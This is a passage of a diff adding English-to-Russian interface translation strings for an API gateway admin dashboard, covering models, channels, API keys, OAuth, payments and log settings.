+    "Keep this above 1 minute to avoid heavy database load": "Держите это значение выше 1 минуты, чтобы избежать высокой нагрузки на базу данных",
+    "Keep-alive Ping": "Пинг Keep-alive",
+    "Key": "Ключ",
+    "Key Fingerprint": "Отпечаток ключа",
+    "Key Sources": "Источники ключей",
+    "Key Summary": "Сводка ключа",
+    "Key Update Mode": "Режим обновления ключа",
+    "Kling": "Kling",
+    "Knowledge Base ID *": "ID базы знаний *",
+    "Landing page with system overview.": "Главная страница с обзором системы.",
+    "Last Login": "Последний вход",
+    "Last Seen": "Последний раз",
+    "Last Tested": "Последняя проверка",
+    "Last updated:": "Последнее обновление:",
+    "Last Used": "Последнее использование",
+    "Last used:": "Последнее использование:",
+    "Layout": "Макет",
+    "Learn more": "Узнать больше",
+    "Learn more:": "Узнать больше:",
+    "Leave": "Выйти",
+    "Leave blank to keep the existing credential": "Оставьте пустым, чтобы сохранить существующие учетные данные",
+    "Leave blank to keep the existing key": "Оставьте пустым, чтобы сохранить существующий ключ",
+    "Leave blank unless rotating the secret": "Оставьте пустым, если не меняете секрет",
+    "Leave empty for never expires": "Оставьте пустым для бессрочного действия",
+    "Leave empty to disable the agreement requirement. Supports Markdown, HTML, or a full URL to redirect users.": "Оставьте пустым, чтобы отключить требование соглашения. Поддерживает Markdown, HTML или полный URL для перенаправления пользователей.",
+    "Leave empty to disable the privacy policy requirement. Supports Markdown, HTML, or a full URL to redirect users.": "Оставьте пустым, чтобы отключить требование политики конфиденциальности. Поддерживает Markdown, HTML или полный URL для перенаправления пользователей.",
+    "Leave empty to disband the tag": "Оставьте пустым, чтобы удалить тег",
+    "Leave empty to keep existing key": "Оставьте пустым, чтобы сохранить существующий ключ",
+    "Leave empty to keep unchanged": "Оставьте пустым, чтобы сохранить без изменений",
+    "Leave empty to use account email": "Оставьте пустым, чтобы использовать электронную почту учетной записи",
+    "Leave empty to use default": "Оставьте пустым для использования по умолчанию",
+    "Leave empty to use system temp directory": "Оставьте пустым для системного временного каталога",
+    "Leave empty to use username": "Оставьте пустым, чтобы использовать имя пользователя",
+    "Less": "Меньше",
+    "Light": "Светлая",
+    "Lightning Fast": "Молниеносно быстро",
+    "Limit period": "Период ограничения",
+    "Limit Reached": "Достигнут лимит",
+    "Limit which models can be used with this key": "Ограничить модели, которые могут быть использованы с этим ключом",
+    "Limited": "Ограничено",
+    "LingYiWanWu": "LingYiWanWu",
+    "Link to your documentation site": "Ссылка на ваш сайт документации",
+    "LinuxDO": "LinuxDO",
+    "LinuxDO Client ID": "ID клиента LinuxDO",
+    "LinuxDO Client Secret": "Секрет клиента LinuxDO",
+    "List of models supported by this channel. Use comma to separate multiple models.": "Список моделей, поддерживаемых этим каналом. Используйте запятую для разделения нескольких моделей.",
+    "List of origins (one per line) allowed for Passkey registration and authentication.": "Список источников (один на строку), разрешенных для регистрации и аутентификации Passkey.",
+    "List view": "Вид списка",
+    "LLM prompt helper": "Помощник с промптом для LLM",
+    "Load Balancing": "Балансировка нагрузки",
+    "Load template...": "Загрузить шаблон...",
+    "Loader": "Загрузчик",
+    "Loading configuration": "Загрузка конфигурации",
+    "Loading content settings...": "Загрузка настроек контента...",
+    "Loading current models...": "Загрузка текущих моделей...",
+    "Loading failed": "Ошибка загрузки",
+    "Loading maintenance settings...": "Загрузка настроек обслуживания...",
+    "Loading settings...": "Загрузка настроек...",
+    "Loading setup status…": "Загрузка статуса установки...",
+    "Loading...": "Загрузка...",
+    "Local": "Локальный",
+    "Local Billing": "Локальная тарификация",
+    "Local models": "Локальные модели",
+    "Locations": "Местоположения",
+    "Locked": "Заблокировано",
+    "log": "записи",
+    "Log Details": "Детали журнала",
+    "Log Directory": "Каталог журналов",
+    "Log File Count": "Кол-во файлов журналов",
+    "Log files older than {{value}} days will be deleted.": "Файлы журналов старше {{value}} дней будут удалены.",
+    "Log IP address for usage and error logs": "Записывать IP-адрес для журналов использования и ошибок",
+    "Log Maintenance": "Журнал обслуживания",
+    "Log Type": "Тип журнала",
+    "Login failed": "Ошибка входа",
+    "Logo": "Логотип",
+    "Logo URL": "URL логотипа",
+    "Logs": "Журналы",
+    "m": "m",
+    "Maintain a list of common questions for the dashboard help panel": "Вести список часто задаваемых вопросов для панели помощи дашборда",
+    "Maintenance": "Обслуживание",
+    "Make it easier for teammates to pick the right group.": "Упростите выбор правильной группы для товарищей по команде.",
+    "Manage": "Управление",
+    "Manage account bindings for this user": "Управление привязками аккаунта пользователя",
+    "Manage and configure": "Управление и настройка",
+    "Manage API channels and provider configurations": "Управление каналами API и конфигурациями провайдеров",
+    "Manage Bindings": "Управление привязками",
+    "Manage catalog visibility and pricing.": "Управление видимостью каталога и ценообразованием.",
+    "Manage custom OAuth providers for user authentication": "Управление пользовательскими поставщиками OAuth для аутентификации пользователей",
+    "Manage Keys": "Управление ключами",
+    "Manage local models for:": "Управление локальными моделями для:",
+    "Manage model deployments": "Управление развёртываниями моделей",
+    "Manage model metadata and configuration": "Управление метаданными и конфигурацией моделей",
+    "Manage multi-key status and configuration for this channel": "Управление статусом и конфигурацией нескольких ключей для этого канала",
+    "Manage Ollama Models": "Управление моделями Ollama",
+    "Manage redemption codes for quota top-up": "Управление кодами активации для пополнения квоты",
+    "Manage server log files. Log files accumulate over time; regular cleanup is recommended to free disk space.": "Управление файлами журналов сервера. Файлы журналов накапливаются со временем; рекомендуется регулярная очистка.",
+    "Manage subscription plan creation, pricing and status": "Управление созданием, ценообразованием и статусом подписок",
+    "Manage subscription plans and pricing.": "Управление планами подписок и ценообразованием.",
+    "Manage Subscriptions": "Управление подписками",
+    "Manage users and their permissions": "Управление пользователями и их разрешениями",
+    "Manage Vendors": "Управление поставщиками",
+    "Manage your API keys for accessing the service": "Управление ключами API для доступа к сервису",
+    "Manage your balance and payment methods": "Управление балансом и способами оплаты",
+    "Manage your security settings and account access": "Управление настройками безопасности и доступом к аккаунту",
+    "Manual Disabled": "Ручное отключение",
+    "Map fields from the user info response to local user attributes. Supports nested paths (e.g. ocs.data.id).": "Сопоставление полей из ответа информации о пользователе с локальными атрибутами пользователя. Поддерживает вложенные пути (например, ocs.data.id).",
+    "Map model identifiers to Gemini API versions. A `default` entry applies when no specific match is found.": "Сопоставьте идентификаторы моделей с версиями Gemini API. Запись `default` применяется, если не найдено конкретного совпадения.",
+    "Map request model names to actual provider model names (JSON format)": "Сопоставление имён моделей запроса реальным именам моделей провайдера (формат JSON)",
+    "Map response status codes (JSON format)": "Сопоставить коды статусов ответа (JSON-формат)",
+    "Map upstream status codes to different codes": "Сопоставить коды статуса вышестоящего сервера с различными кодами",
+    "Match model name exactly": "Точное совпадение имени модели",
+    "Match models containing this name": "Совпадение моделей, содержащих это имя",
+    "Match models ending with this name": "Совпадение моделей, заканчивающихся на это имя",
+    "Match models starting with this name": "Совпадение моделей, начинающихся с этого имени",
+    "Match Type": "Тип соответствия",
+    "Matched": "Совпадение",
+    "Matched Tier": "Подходящий уровень",
+    "Matching Rules": "Правила сопоставления",
+    "Max Disk Cache Size (MB)": "Макс. размер дискового кэша (МБ)",
+    "Max Entries": "Макс. записей",
+    "Max Requests (incl. failures)": "Макс. запросов (вкл. сбои)",
+    "Max Requests (including failures)": "Макс. запросов (включая сбои)",
+    "Max requests per period": "Макс. запросов за период",
+    "Max Success": "Макс. успешных",
+    "Max successful requests": "Макс. успешных запросов",
+    "Max Successful Requests": "Макс. успешных запросов",
+    "Maximum 1000 characters. Supports Markdown and HTML.": "Максимум 1000 символов. Поддерживает Markdown и HTML.",
+    "Maximum 200 characters": "Максимум 200 символов",
+    "Maximum 500 characters. Supports Markdown and HTML.": "Максимум 500 символов. Поддерживает Markdown и HTML.",
+    "Maximum check-in quota": "Максимальная квота регистрации",
+    "Maximum quota amount awarded for check-in": "Максимальная сумма квоты, присуждаемая за регистрацию",
+    "maxRequests ≥ 0, maxSuccess ≥ 1, both ≤ 2,147,483,647": "maxRequests ≥ 0, maxSuccess ≥ 1, оба ≤ 2,147,483,647",
+    "Memory Hits": "Попаданий памяти",
+    "Memory Threshold (%)": "Порог памяти (%)",
+    "Merchant ID": "ID мерчанта",
+    "Merchant ID is required": "Требуется ID мерчанта",
+    "Message Priority": "Приоритет сообщения",
+    "Metadata": "Метаданные",
+    "Midjourney": "Midjourney",
+    "MidjourneyPlus": "MidjourneyPlus",
+    "Min Top-up": "Мин. пополнение",
+    "Min Top-up:": "Мин. пополнение:",
+    "MiniMax": "MiniMax",
+    "Minimum check-in quota": "Минимальная квота регистрации",
+    "Minimum LinuxDO trust level required": "Требуемый минимальный уровень доверия LinuxDO",
+    "Minimum quota amount awarded for check-in": "Минимальная сумма квоты, присуждаемая за регистрацию",
+    "Minimum recharge amount in USD": "Минимальная сумма пополнения в USD",
+    "Minimum recharge amount to qualify for this discount.": "Минимальная сумма пополнения для получения этой скидки.",
+    "Minimum top-up (optional)": "Минимальное пополнение (необязательно)",
+    "Minimum top-up (USD)": "Минимальное пополнение (USD)",
+    "Minimum top-up amount must be at least 1": "Минимальная сумма пополнения — не менее 1",
+    "Minimum top-up quantity": "Минимальное количество пополнения",
+    "Minimum topup amount: {{amount}}": "Минимальная сумма пополнения: {{amount}}",
+    "Minimum Trust Level": "Минимальный уровень доверия",
+    "Minimum:": "Минимум:",
+    "Minute": "Минута",
+    "minutes": "минут",
+    "Missing code": "Код отсутствует",
+    "Missing Models": "Отсутствующие модели",
+    "Missing user data from Passkey login response": "В ответе Passkey для входа отсутствуют данные пользователя",
+    "Mistral": "Mistral",
+    "Mode": "Режим",
+    "model": "модель",
+    "Model": "Модель",
+    "Model Access": "Доступ к моделям",
+    "Model Analytics": "Аналитика моделей",
+    "Model Call Analytics": "Аналитика вызовов моделей",
+    "Model context usage": "Использование контекста модели",
+    "Model deleted": "Модель удалена",
+    "Model deleted successfully": "Модель успешно удалена",
+    "Model deployment service is disabled": "Сервис развертывания моделей отключен",
+    "Model Description": "Описание модели",
+    "Model disabled successfully": "Модель успешно отключена",
+    "Model enabled successfully": "Модель успешно включена",
+    "Model fixed pricing": "Фиксированная цена модели",
+    "Model Group": "Группа моделей",
+    "Model Limits": "Лимиты модели",
+    "Model Mapping": "Сопоставление моделей",
+    "Model Mapping (JSON)": "Сопоставление моделей (JSON)",
+    "Model Mapping must be a JSON object like": "Сопоставление моделей должно быть JSON-объектом, например",
+    "Model mapping must be valid JSON": "Сопоставление моделей должно быть допустимым JSON",
+    "Model name": "Имя модели",
+    "Model Name": "Название модели",
+    "Model Name *": "Имя модели *",
+    "Model name is required": "Название модели обязательно",
+    "Model names copied to clipboard": "Названия моделей скопированы в буфер обмена",
+    "Model not found": "Модель не найдена",
+    "Model Price": "Цена модели",
+    "Model Price Not Configured": "Цена модели не настроена",
+    "Model Pricing": "Цены на модели",
+    "Model pull failed: {{msg}}": "Ошибка тяги модели: {{msg}}",
+    "Model ratio": "Коэффициент модели",
+    "Model ratios": "Коэффициенты модели",
+    "Model ratios reset successfully": "Соотношения моделей успешно сброшены",
+    "Model Regex": "Регулярное выражение модели",
+    "Model Regex (one per line)": "Регулярное выражение модели (по одному на строку)",
+    "Model to use for testing": "Модель для использования при тестировании",
+    "Model to use when testing channel connectivity": "Модель для использования при тестировании подключения канала",
+    "Model Version *": "Версия модели *",
+    "model(s) selected out of": "модель(и) выбрано из",
+    "model(s)? This action cannot be undone.": "модель(и)? Это действие нельзя отменить.",
+    "models": "моделей",
+    "Models": "Модели",
+    "Models *": "Модели *",
+    "Models & Groups": "Модели и группы",
+    "Models appended successfully": "Модели успешно добавлены",
+    "Models are required": "Требуются модели",
+    "Models directory": "Каталог моделей",
+    "Models fetched successfully": "Модели успешно получены",
+    "Models filled to form": "Модели заполнены в форму",
+    "Models listed here will not automatically append or remove -thinking / -nothinking suffixes.": "Модели из этого списка не будут автоматически добавлять или удалять суффиксы -thinking / -nothinking.",
+    "Models not in list, may fail to invoke": "Модели не в списке, вызов может не сработать",
+    "Models that are being used but not configured in the system": "Модели, которые используются, но не настроены в системе",
+    "Models updated successfully": "Модели успешно обновлены",
+    "Modify existing subscription plan configuration": "Изменить конфигурацию существующего плана",
+    "Module availability": "Доступность модуля",
+    "MokaAI": "MokaAI",
+    "Monitor": "Мониторинг",
+    "Monitoring & Alerts": "Мониторинг и оповещения",
+    "Month": "Месяц",
+    "Monthly": "Ежемесячно",
+    "months": "месяцев",
+    "Moonshot": "Moonshot",
+    "More": "Ещё",
+    "more mapping": "больше сопоставлений",
+    "More templates...": "Другие шаблоны…",
+    "More...": "Подробнее...",
+    "Move": "Переместить",
+    "Move affiliate rewards to your main balance": "Перевести партнерские вознаграждения на основной баланс",
+    "Move Header": "Переместить заголовок",
+    "ms": "мс",
+    "Multi-key channel: Keys will be": "Многоключевой канал: Ключи будут",
+    "Multi-Key Management": "Управление несколькими ключами",
+    "Multi-Key Mode (multiple keys, one channel)": "Режим нескольких ключей (несколько ключей, один канал)",
+    "Multi-Key Strategy": "Стратегия нескольких ключей",
+    "Multi-key: Polling rotation": "Мульти-ключ: Циклическая ротация",
+    "Multi-key: Random rotation": "Мульти-ключ: Случайная ротация",
+    "Multi-region deployment for stable global access": "Мультирегиональное развертывание для стабильного глобального доступа",
+    "Multi-user management with flexible permission allocation": "Многопользовательское управление с гибким распределением разрешений",
+    "Multiplier": "Множитель",
+    "Multiplier applied when": "Множитель применяется, когда",
+    "Multiplier applied when {{userGroup}} uses {{targetGroup}}": "Множитель при использовании {{targetGroup}} группой {{userGroup}}",
+    "Multiplier for audio inputs.": "Множитель для аудиовходов.",
+    "Multiplier for audio outputs.": "Множитель для аудиовыходов.",
+    "Multiplier for completion tokens.": "Множитель для токенов завершения.",
+    "Multiplier for image processing.": "Множитель для обработки изображений.",
+    "Multiplier for prompt tokens.": "Множитель для токенов промпта.",
+    "Multipliers for recharge pricing based on user groups.": "Множители для ценообразования пополнения на основе групп пользователей.",
+    "Must be a valid URL": "Должен быть действительный URL",
+    "Must be at least 8 characters": "Должно быть не менее 8 символов",
+    "My Subscriptions": "Мои подписки",
+    "my-status": "мой-статус",
+    "MySQL detected": "Обнаружен MySQL",
+    "MySQL is a production-ready relational database. Keep your credentials secure.": "MySQL — реляционная база данных, готовая к продакшену. Храните учётные данные в безопасности.",
+    "MySQL is production ready. Ensure automated backups and a dedicated user with the minimal required privileges are configured.": "MySQL готов к работе. Убедитесь, что настроены автоматические резервные копии и выделенный пользователь с минимально необходимыми привилегиями.",
+    "N/A": "Н/Д",
+    "Name": "Название",
+    "Name *": "Имя *",
+    "Name for this redemption code (1-20 characters)": "Имя для этого кода активации (1-20 символов)",
+    "Name is available": "Имя доступно",
+    "Name is not available": "Имя недоступно",
+    "Name must be between {{min}} and {{max}} characters": "Имя должно быть длиной от {{min}} до {{max}} символов",
+    "Name Rule": "Правило именования",
+    "Name Suffix": "Суффикс имени",
+    "name@example.com": "name@example.com",
+    "Native format": "Собственный формат",
+    "Need a code?": "Нужен код?",
+    "Nested JSON defining per-group rules for adding (+:), removing (-:), or appending usable groups.": "Вложенный JSON, определяющий правила для каждой группы для добавления (+:), удаления (-:) или добавления используемых групп.",
+    "Nested JSON: source group →": "Вложенный JSON: исходная группа →",
+    "Network proxy for this channel (supports socks5 protocol)": "Сетевой прокси для этого канала (поддерживает протокол socks5)",
+    "Never": "Никогда",
+    "Never expires": "Никогда не истекает",
+    "New API": "Новый API",
+    "New API &lt;noreply@example.com&gt;": "Новый API &lt;noreply@example.com&gt;",
+    "New API Project Repository:": "Репозиторий проекта New API:",
+    "New Format Template": "Новый шаблон формата",
+    "New Group": "Новая группа",
+    "New Models ({{count}})": "Новые модели ({{count}})",
+    "New name will be:": "Новое имя будет:",
+    "New password": "Новый пароль",
+    "New Password": "Новый пароль",
+    "New password must be different from current password": "Новый пароль должен отличаться от текущего пароля",
+    "New User Quota": "Новая квота пользователя",
+    "New version available: {{version}}": "Доступна новая версия: {{version}}",
+    "NewAPI": "NewAPI",
+    "Next": "Следующий шаг",
+    "Next branch": "Следующая ветка",
+    "Next page": "Следующая страница",
+    "Next reset": "Следующий сброс",
+    "No About Content Set": "Содержимое раздела \"О нас\" не установлено",
+    "No Active": "Нет активных",
+    "No additional type-specific settings for this channel type.": "Нет дополнительных настроек, специфичных для этого типа канала.",
+    "No amount options configured. Add amounts below to get started.": "Не настроены параметры суммы. Добавьте суммы ниже, чтобы начать.",
+    "No announcements at this time": "Нет объявлений на данный момент",
+    "No announcements yet. Click \"Add Announcement\" to create one.": "Пока нет объявлений. Нажмите \"Добавить объявление\", чтобы создать одно.",
+    "No API Domains yet. Click \"Add API\" to create one.": "Пока нет доменов API. Нажмите \"Добавить API\", чтобы создать один.",
+    "No API keys available. Create your first API key to get started.": "Нет доступных ключей API. Создайте свой первый ключ API, чтобы начать.",
+    "No API Keys Found": "Ключи API не найдены",
+    "No API routes configured": "Нет настроенных маршрутов API",
+    "No available models": "Нет доступных моделей",
+    "No available Web chat links": "Нет доступных веб-ссылок для чата",
+    "No backup": "Нет резервной копии",
+    "No billing records found": "Записи о выставлении счетов не найдены",
+    "No Change": "Без изменений",
+    "No changes": "Нет изменений",
+    "No changes made": "Изменения не внесены",
+    "No changes to save": "Нет изменений для сохранения",
+    "No channel selected": "Канал не выбран",
+    "No channels available. Create your first channel to get started.": "Нет доступных каналов. Создайте свой первый канал, чтобы начать.",
+    "No channels found": "Каналы не найдены",
+    "No Channels Found": "Каналы не найдены",
+    "No channels selected": "Каналы не выбраны",
+    "No chat presets configured. Click \"Add chat preset\" to get started.": "Пресеты чата не настроены. Нажмите \"Добавить пресет чата\", чтобы начать.",
+    "No chat presets match your search": "Нет пресетов чата, соответствующих вашему поиску",
+    "No conflict entries available.": "Нет доступных записей конфликтов.",
+    "No conflicts match your search.": "Конфликты, соответствующие вашему поиску, не найдены.",
+    "No console output": "Нет вывода консоли",
+    "No containers": "Нет контейнеров",
+    "No custom OAuth providers configured yet.": "Пользовательские поставщики OAuth еще не настроены.",
+    "No data": "Нет данных",
+    "No Data": "Нет данных",
+    "No data available": "Нет доступных данных",
+    "No deployments available. Create one to get started.": "Нет доступных развертываний. Создайте одно, чтобы начать.",
+    "No Deployments Found": "Развертывания не найдены",
+    "No discount tiers configured. Click \"Add discount tier\" to get started.": "Не настроены уровни скидок. Нажмите \"Добавить уровень скидки\", чтобы начать.",
+    "No duplicate keys found": "Дубликаты ключей не найдены",
+    "No enabled tokens available": "Нет доступных активных токенов",
+    "No endpoints configured. Switch to JSON mode or add rows to define endpoints.": "Конечные точки не настроены. Переключитесь в режим JSON или добавьте строки для определения конечных точек.",
+    "No FAQ entries available": "Нет доступных записей FAQ",
+    "No FAQ entries yet. Click \"Add FAQ\" to create one.": "Пока нет записей FAQ. Нажмите \"Добавить FAQ\", чтобы создать одну.",
+    "No files match the accepted types.": "Нет файлов, соответствующих допустимым типам.",
+    "No group found.": "Группа не найдена.",
+    "No group-based rate limits configured. Click \"Add group\" to get started.": "Групповые лимиты скорости не настроены. Нажмите \"Добавить группу\", чтобы начать.",
+    "No groups match your search": "Нет групп, соответствующих вашему поиску",
+    "No header overrides configured.": "Нет настроенных переопределений заголовков.",
+    "No Inviter": "Нет пригласившего",
+    "No keys found": "Ключи не найдены",
+    "No log entries matched the selected time.": "Нет записей журнала, соответствующих выбранному времени.",
+    "No logs": "Нет логов",
+    "No Logs Found": "Логи не найдены",
+    "No mappings configured. Click \"Add Row\" to get started.": "Нет настроенных сопоставлений. Нажмите \"Добавить строку\", чтобы начать.",
+    "No matches found": "Совпадений не найдено",
+    "No matching results": "Нет совпадений",
+    "No messages yet": "Сообщений пока нет",
+    "No missing models found.": "Недостающие модели не найдены.",
+    "No model found.": "Модель не найдена.",
+    "No model mappings configured. Click \"Add Mapping\" to get started.": "Не настроены сопоставления моделей. Нажмите \"Добавить сопоставление\", чтобы начать.",
+    "No models available": "Модели недоступны",
+    "No models available in this category": "В этой категории нет моделей",
+    "No models available. Create your first model to get started.": "Нет доступных моделей. Создайте свою первую модель, чтобы начать.",
+    "No models fetched from upstream": "Модели не получены от upstream",
+    "No models fetched yet.": "Модели еще не получены.",
+    "No models found": "Модели не найдены",
+    "No Models Found": "Модели не найдены",
+    "No models found.": "Модели автомобиля не найдены.",
+    "No models match your current filters.": "Модели, соответствующие вашим текущим фильтрам, не найдены.",
+    "No models match your search": "Модели не найдены",
+    "No models selected": "Модели не выбраны",
+    "No models to add": "Нет моделей для добавления",
+    "No models to copy": "Нет моделей для копирования",
+    "No models to remove": "Нет моделей для удаления",
+    "No new models to add": "Нет новых моделей для добавления",
+    "No parameter overrides configured.": "Нет настроенных переопределений параметров.",
+    "No payment methods available. Please contact administrator.": "Нет доступных способов оплаты. Пожалуйста, свяжитесь с администратором.",
+    "No payment methods configured": "Способы оплаты не настроены",
+    "No payment methods configured. Click \"Add method\" or use templates to get started.": "Способы оплаты не настроены. Нажмите \"Добавить способ\" или используйте шаблоны, чтобы начать.",
+    "No payment methods match your search": "Нет способов оплаты, соответствующих вашему поиску",
+    "No plans available": "Нет доступных планов",
+    "No preference": "Без предпочтений",
+    "No prefill groups yet": "Пока нет групп предзаполнения",
+    "No price differences found": "Различий в ценах не найдено",
+    "No processable upstream model updates for this channel": "Нет обрабатываемых обновлений моделей для этого канала",
+    "No products configured. Click \"Add product\" to get started.": "Продукты не настроены. Нажмите \"Добавить продукт\", чтобы начать.",
+    "No products match your search": "Нет продуктов, соответствующих вашему поиску",
+    "No providers available": "Нет доступных провайдеров",
+    "No Quota": "Нет квоты",
+    "No ratio differences found": "Различия в коэффициентах не найдены",
+    "No records found. Try adjusting your filters.": "Записи не найдены. Попробуйте изменить фильтры.",
+    "No redemption codes available. Create your first redemption code to get started.": "Нет доступных кодов активации. Создайте свой первый код активации, чтобы начать.",
+    "No Redemption Codes Found": "Коды активации не найдены",
+    "No related models available for this channel type": "Для этого типа канала нет доступных связанных моделей",
+    "No release notes provided.": "Примечания к выпуску не предоставлены.",
+    "No Reset": "Без сброса",
+    "No restriction": "Без ограничений",
+    "No results for \"{{query}}\". Try adjusting your search or filters.": "Нет результатов для \"{{query}}\". Попробуйте изменить поиск или фильтры.",
+    "No results found": "Поиск не дал результатов",
+    "No results found.": "Результаты не найдены.",
+    "No Retry": "Без повтора",
+    "No rules yet": "Правила отсутствуют",
+    "No rules yet. Add a group below to get started.": "Правил пока нет. Добавьте группу ниже, чтобы начать.",
+    "No status code mappings configured.": "Сопоставления кодов состояния не настроены.",
+    "No subscription plans yet": "Планов подписки пока нет",
+    "No subscription records": "Нет записей подписок",
+    "No Sync": "Без синхронизации",
+    "No system announcements": "Нет системных объявлений",
+    "No token found.": "Токен не найден.",
+    "No tools configured": "Нет настроенных инструментов",
+    "No Upgrade": "Без повышения",
+    "No upstream price differences found": "Различий в ценах провайдера не найдено",
+    "No upstream ratio differences found": "Различия в коэффициентах вышестоящего потока не найдены",
+    "No Uptime Kuma groups yet. Click \"Add Group\" to create one.": "Пока нет групп Uptime Kuma. Нажмите \"Добавить группу\", чтобы создать одну.",
+    "No uptime monitoring configured": "Мониторинг доступности не настроен",
+    "No usage logs available. Logs will appear here once API calls are made.": "Нет логов использования. Они появятся после вызовов API.",
+    "No user information available": "Нет данных пользователя",
+    "No user selected": "Пользователь не выбран",
+    "No users available. Try adjusting your search or filters.": "Нет доступных пользователей. Попробуйте изменить параметры поиска или фильтры.",
+    "No Users Found": "Пользователи не найдены",
+    "Node Name": "Имя узла",
+    "Non-stream": "Не потоковый",
+    "None": "Нет",
+    "noreply@example.com": "noreply@example.com",
+    "Normalized:": "Нормализовано:",
+    "Not available": "Недоступно",
+    "Not backed up": "Не сохранено",
+    "Not bound": "Не привязан",
+    "Not Set": "Не установлено",
+    "Not set yet": "Ещё не задано",
+    "Not Started": "Не начато",
+    "Not Submitted": "Не отправлено",
+    "Not tested": "Не протестировано",
+    "Not used yet": "Ещё не использовано",
+    "Notice": "Уведомления",
+    "Notification Email": "Электронная почта для уведомлений",
+    "Notification Method": "Метод уведомления",
+    "Notifications": "Уведомления",
+    "Number of codes to create": "Количество кодов для создания",
+    "Number of keys to create": "Количество ключей для создания",
+    "Number of times to retry failed requests (0-10)": "Количество повторных попыток для неудачных запросов (0-10)",
+    "Number of tokens per unit quota": "Количество токенов на единицу квоты",
+    "Number of users invited": "Количество приглашенных пользователей",
+    "OAuth Client ID": "Идентификатор клиента OAuth",
+    "OAuth Client Secret": "OAuth Client Secret",
+    "OAuth failed": "OAuth не удался",
+    "OAuth Integrations": "Интеграции OAuth",
+    "OAuth start failed": "Ошибка запуска OAuth",
+    "Observability": "Наблюдаемость",
+    "Obtain the API key, merchant ID, and RSA key pair from the Waffo dashboard, and configure the callback URL.": "Получите API-ключ, ID мерчанта и пару RSA-ключей в панели управления Waffo и настройте URL обратного вызова.",
+    "Obtain the merchant, store, product and signing keys from your Waffo dashboard. Webhook URL: <ServerAddress>/api/waffo-pancake/webhook": "Получите в панели Waffo ID мерчанта, магазина, товара и ключи подписи. Webhook: <ServerAddress>/api/waffo-pancake/webhook",
+    "of": "записей, всего",
+    "of 3:": "из 3:",
+    "off": "выкл.",
+    "Official": "Официальный",
+    "Official documentation": "Официальная документация",
+    "Official Repository": "Официальный репозиторий",
+    "Official Sync": "Официальная синхронизация",
+    "OhMyGPT": "OhMyGPT",
+    "OIDC": "OIDC",
+    "OIDC Client ID": "ID клиента OIDC",
+    "OIDC Client Secret": "Секрет клиента OIDC",
+    "OIDC configuration fetched successfully": "Конфигурация OIDC успешно получена",
+    "OIDC discovery URL. Click \"Auto-discover\" to fetch endpoints automatically.": "URL обнаружения OIDC. Нажмите \"Автообнаружение\" для автоматического получения конечных точек.",
+    "OIDC endpoints discovered successfully": "Конечные точки OIDC успешно обнаружены",
+    "Old Format Template": "Шаблон старого формата",
+    "Old format: Direct override. New format: Supports conditional judgment and custom JSON operations.": "Старый формат: прямое переопределение. Новый формат: поддерживает условные суждения и пользовательские операции JSON.",
+    "Ollama": "Ollama",
+    "Ollama Models": "Ollama Модели",
+    "One API": "Один API",
+    "One domain per line": "Один домен на строку",
+    "One domain per line (only used when domain restriction is enabled)": "Один домен на строку (используется только при включении ограничения домена)",
+    "One IP or CIDR range per line": "Один IP или диапазон CIDR на строку",
+    "One IP per line (empty for no restriction)": "Один IP на строку (пусто для отсутствия ограничений)",
+    "one keyword per line": "одно ключевое слово на строку",
+    "Online payment is not enabled. Please contact the administrator.": "Онлайн-оплата не включена. Пожалуйста, свяжитесь с администратором.",
+    "Online topup is not enabled. Please use redemption code or contact administrator.": "Онлайн-пополнение не включено. Пожалуйста, используйте код активации или свяжитесь с администратором.",
+    "Only allow specific email domains": "Разрешить только определенные домены электронной почты",
+    "Only available for admins. When enabled, you will receive a summary notification via your selected method when the scheduled model check detects upstream model changes or check failures.": "Доступно только для администраторов. При включении вы будете получать сводное уведомление выбранным способом, когда запланированная проверка моделей обнаружит изменения в вышестоящих моделях или сбои проверки.",
+    "Only selected fields will be overwritten. You can re-run the sync wizard if new conflicts appear.": "Будут перезаписаны только выбранные поля. Вы можете повторно запустить мастер синхронизации, если появятся новые конфликты.",
+    "Only successful requests": "Только успешные запросы",
+    "Only successful requests count toward this limit.": "Только успешные запросы учитываются в этом лимите.",
+    "Only the last {{value}} log files will be retained; the rest will be deleted.": "Будут сохранены только последние {{value}} файлов журналов; остальные будут удалены.",
+    "Oops! Page Not Found!": "Ой! Страница не найдена!",
+    "Oops! Something went wrong": "Ой! Что-то пошло не так",
+    "Open": "Открыть",
+    "Open authorization page": "Открыть страницу авторизации",
+    "Open CC Switch": "Открыть CC Switch",
+    "Open in chat": "Открыть в чате",
+    "Open in new tab": "Открыть в новой вкладке",
+    "Open in New Tab": "Открыть в новой вкладке",
+    "Open menu": "Открыть меню",
+    "Open release": "Открыть выпуск",
+    "Open the io.net console API Keys page": "Открыть страницу ключей API консоли io.net",
+    "Open theme settings": "Открыть настройки темы",
+    "OpenAI": "OpenAI",
+    "OpenAI Compatible": "Совместимо с OpenAI",
+    "OpenAI Organization": "Организация OpenAI",
+    "OpenAI Organization ID (optional)": "Идентификатор организации OpenAI (необязательно)",
+    "OpenAI, Anthropic, etc.": "OpenAI, Anthropic и т.д.",
+    "OpenAI, Anthropic, Google, etc.": "OpenAI, Anthropic, Google и т.д.",
+    "OpenAIMax": "OpenAIMax",
+    "Opened authorization page": "Страница авторизации открыта",
+    "OpenRouter": "OpenRouter",
+    "opens in an external client. Trigger it from the sidebar or API key actions to launch the configured application.": "открывается во внешнем клиенте. Запустите его из боковой панели или действий с ключом API, чтобы запустить настроенное приложение.",
+    "Operation failed": "Операция не удалась",
+    "Operator Admin": "Оператор-администратор",
+    "Optimize system for self-hosted single-user usage": "Оптимизировать систему для самостоятельного использования одним пользователем",
+    "Optimized network architecture ensures millisecond response times": "Оптимизированная сетевая архитектура обеспечивает время отклика в миллисекунды",
+    "Optional callback override. Leave blank to use server address": "Необязательное переопределение обратного вызова. Оставьте пустым, чтобы использовать адрес сервера",
+    "Optional icon identifier for the login button": "Необязательный идентификатор иконки для кнопки входа",
+    "Optional JSON policy to restrict access based on user info fields": "Необязательная политика JSON для ограничения доступа на основе полей информации о пользователе",
+    "Optional minimum recharge amount for this method.": "Необязательная минимальная сумма пополнения для этого метода.",
+    "Optional multiplier per user group used when calculating recharge pricing. Provide a JSON object such as": "Необязательный множитель для группы пользователей, используемый при расчете цен на пополнение. Предоставьте JSON-объект, например",
+    "Optional notes about this channel": "Необязательные заметки об этом канале",
+    "Optional notes about when to use this group": "Необязательные примечания о том, когда использовать эту группу",
+    "Optional ratio used when upstream cache hits occur.": "Необязательное соотношение, используемое при попаданиях в вышестоящий кэш.",
+    "Optional settings for advanced container configuration.": "Дополнительные настройки для расширенной конфигурации контейнера.",
